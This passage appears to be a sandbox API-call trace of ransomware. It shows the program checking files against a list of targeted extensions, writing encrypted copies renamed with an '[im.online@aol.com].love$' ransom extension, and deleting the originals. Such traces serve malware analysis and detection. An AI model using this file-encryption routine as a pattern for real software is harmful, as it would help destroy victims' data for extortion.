dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.674] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=6331) returned 1 [0244.674] CloseHandle (hObject=0x418) returned 1 [0244.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0244.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.675] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0244.675] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0244.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.676] GetLastError () returned 0x0 [0244.676] ReadFile (in: hFile=0x418, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x18bb, lpOverlapped=0x0) returned 1 [0244.679] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x18c0, lpOverlapped=0x0) returned 1 [0244.680] ReadFile (in: hFile=0x418, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0244.680] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xea, lpOverlapped=0x0) returned 1 [0244.680] SetEndOfFile (hFile=0x4c8) returned 1 [0244.681] CloseHandle (hObject=0x4c8) returned 1 [0244.681] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0244.681] SetEndOfFile (hFile=0x418) returned 1 [0244.698] CloseHandle (hObject=0x418) returned 1 [0244.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0245.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.470] lstrlenW (lpString=".doc") returned 4 [0245.470] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0245.470] lstrlenW (lpString=".docx") returned 5 [0245.471] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0245.471] lstrlenW (lpString=".pdf") returned 4 [0245.471] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0245.471] lstrlenW (lpString=".xls") returned 4 [0245.471] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0245.471] lstrlenW (lpString=".xlsx") returned 5 [0245.471] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0245.471] lstrlenW (lpString=".ppt") returned 4 [0245.471] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0245.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.471] lstrlenW (lpString=".zip") returned 4 [0245.471] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0245.471] lstrlenW (lpString=".rar") returned 4 [0245.471] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0245.471] lstrlenW (lpString=".bz2") returned 4 [0245.471] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0245.471] lstrlenW (lpString=".7z") returned 3 [0245.471] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0245.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.471] lstrlenW (lpString=".dbf") returned 4 [0245.471] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0245.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.471] lstrlenW (lpString=".1cd") returned 4 [0245.471] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0245.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.471] lstrlenW (lpString=".jpg") returned 4 [0245.471] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0245.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.472] lstrlenW (lpString=".doc") returned 4 [0245.472] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0245.472] lstrlenW (lpString=".docx") returned 5 [0245.472] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0245.472] lstrlenW (lpString=".pdf") returned 4 [0245.472] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0245.472] lstrlenW (lpString=".xls") returned 4 [0245.472] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0245.472] lstrlenW (lpString=".xlsx") returned 5 [0245.472] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0245.472] lstrlenW (lpString=".ppt") returned 4 [0245.472] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0245.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.472] lstrlenW (lpString=".zip") returned 4 [0245.472] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0245.472] lstrlenW (lpString=".rar") returned 4 [0245.472] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0245.472] lstrlenW (lpString=".bz2") returned 4 [0245.472] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0245.472] lstrlenW (lpString=".7z") returned 3 [0245.472] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0245.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.472] lstrlenW (lpString=".dbf") returned 4 [0245.472] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0245.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.473] lstrlenW (lpString=".1cd") returned 4 [0245.473] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0245.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0245.473] lstrlenW (lpString=".jpg") returned 4 [0245.473] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0245.473] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0245.473] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0245.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.429] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=6880) returned 1 [0247.429] CloseHandle (hObject=0x548) returned 1 [0247.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0247.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.430] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.430] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0247.438] GetLastError () returned 0x0 [0247.438] ReadFile (in: hFile=0x548, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0247.475] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x1af0, lpOverlapped=0x0) returned 1 [0247.476] ReadFile (in: hFile=0x548, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0247.476] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xec, lpOverlapped=0x0) returned 1 [0247.476] SetEndOfFile (hFile=0x534) returned 1 [0247.476] CloseHandle (hObject=0x534) returned 1 [0247.476] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.476] SetEndOfFile (hFile=0x548) returned 1 [0247.488] CloseHandle (hObject=0x548) returned 1 [0247.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0248.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.330] lstrlenW (lpString=".doc") returned 4 [0248.330] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.330] lstrlenW (lpString=".docx") returned 5 [0248.330] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.330] lstrlenW (lpString=".pdf") returned 4 [0248.330] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.330] lstrlenW (lpString=".xls") returned 4 [0248.330] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.330] lstrlenW (lpString=".xlsx") returned 5 [0248.330] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.330] lstrlenW (lpString=".ppt") returned 4 [0248.330] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.330] lstrlenW (lpString=".zip") returned 4 [0248.330] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.330] lstrlenW (lpString=".rar") returned 4 [0248.330] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.330] lstrlenW (lpString=".bz2") returned 4 [0248.330] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.330] lstrlenW (lpString=".7z") returned 3 [0248.330] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.330] lstrlenW (lpString=".dbf") returned 4 [0248.331] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.331] lstrlenW (lpString=".1cd") returned 4 [0248.331] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.331] lstrlenW (lpString=".jpg") returned 4 [0248.331] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.331] lstrlenW (lpString=".doc") returned 4 [0248.331] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.331] lstrlenW (lpString=".docx") returned 5 [0248.331] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.331] lstrlenW (lpString=".pdf") returned 4 [0248.331] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.331] lstrlenW (lpString=".xls") returned 4 [0248.331] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.331] lstrlenW (lpString=".xlsx") returned 5 [0248.331] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.331] lstrlenW (lpString=".ppt") returned 4 [0248.331] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.331] lstrlenW (lpString=".zip") returned 4 [0248.331] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.331] lstrlenW (lpString=".rar") returned 4 [0248.331] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.331] lstrlenW (lpString=".bz2") returned 4 [0248.331] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.331] lstrlenW (lpString=".7z") returned 3 [0248.331] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.331] lstrlenW (lpString=".dbf") returned 4 [0248.331] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.332] lstrlenW (lpString=".1cd") returned 4 [0248.332] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.332] lstrlenW (lpString=".jpg") returned 4 [0248.332] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.332] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0248.332] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0248.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0248.333] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10122) returned 1 [0248.333] CloseHandle (hObject=0x4c8) returned 1 [0248.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0248.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0248.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0248.334] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.334] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0248.335] GetLastError () returned 0x0 [0248.335] ReadFile (in: hFile=0x4c8, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x278a, lpOverlapped=0x0) returned 1 [0248.338] WriteFile (in: hFile=0x418, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2790, lpOverlapped=0x0) returned 1 [0248.340] ReadFile (in: hFile=0x4c8, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0248.340] WriteFile (in: hFile=0x418, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xec, lpOverlapped=0x0) returned 1 [0248.340] SetEndOfFile (hFile=0x418) returned 1 [0248.340] CloseHandle (hObject=0x418) returned 1 [0248.340] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.341] SetEndOfFile (hFile=0x4c8) returned 1 [0248.344] CloseHandle (hObject=0x4c8) returned 1 [0248.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0248.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0248.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.346] lstrlenW (lpString=".doc") returned 4 [0248.346] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.346] lstrlenW (lpString=".docx") returned 5 [0248.346] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.346] lstrlenW (lpString=".pdf") returned 4 [0248.346] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.346] lstrlenW (lpString=".xls") returned 4 [0248.346] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.346] lstrlenW (lpString=".xlsx") returned 5 [0248.346] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.346] lstrlenW (lpString=".ppt") returned 4 [0248.346] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.346] lstrlenW (lpString=".zip") returned 4 [0248.346] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.346] lstrlenW (lpString=".rar") returned 4 [0248.346] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.346] lstrlenW (lpString=".bz2") returned 4 [0248.347] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.347] lstrlenW (lpString=".7z") returned 3 [0248.347] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.347] lstrlenW (lpString=".dbf") returned 4 [0248.347] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.347] lstrlenW (lpString=".1cd") returned 4 [0248.347] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.347] lstrlenW (lpString=".jpg") returned 4 [0248.347] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.347] lstrlenW (lpString=".doc") returned 4 [0248.347] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.347] lstrlenW (lpString=".docx") returned 5 [0248.347] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.347] lstrlenW (lpString=".pdf") returned 4 [0248.347] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.347] lstrlenW (lpString=".xls") returned 4 [0248.347] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.347] lstrlenW (lpString=".xlsx") returned 5 [0248.347] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.347] lstrlenW (lpString=".ppt") returned 4 [0248.347] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.348] lstrlenW (lpString=".zip") returned 4 [0248.348] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.348] lstrlenW (lpString=".rar") returned 4 [0248.348] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.348] lstrlenW (lpString=".bz2") returned 4 [0248.348] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.348] lstrlenW (lpString=".7z") returned 3 [0248.348] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.348] lstrlenW (lpString=".dbf") returned 4 [0248.348] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.348] lstrlenW (lpString=".1cd") returned 4 [0248.348] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0248.348] lstrlenW (lpString=".jpg") returned 4 [0248.348] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.348] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0248.348] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0248.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0248.361] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=5058) returned 1 [0248.361] CloseHandle (hObject=0x53c) returned 1 [0248.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0248.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 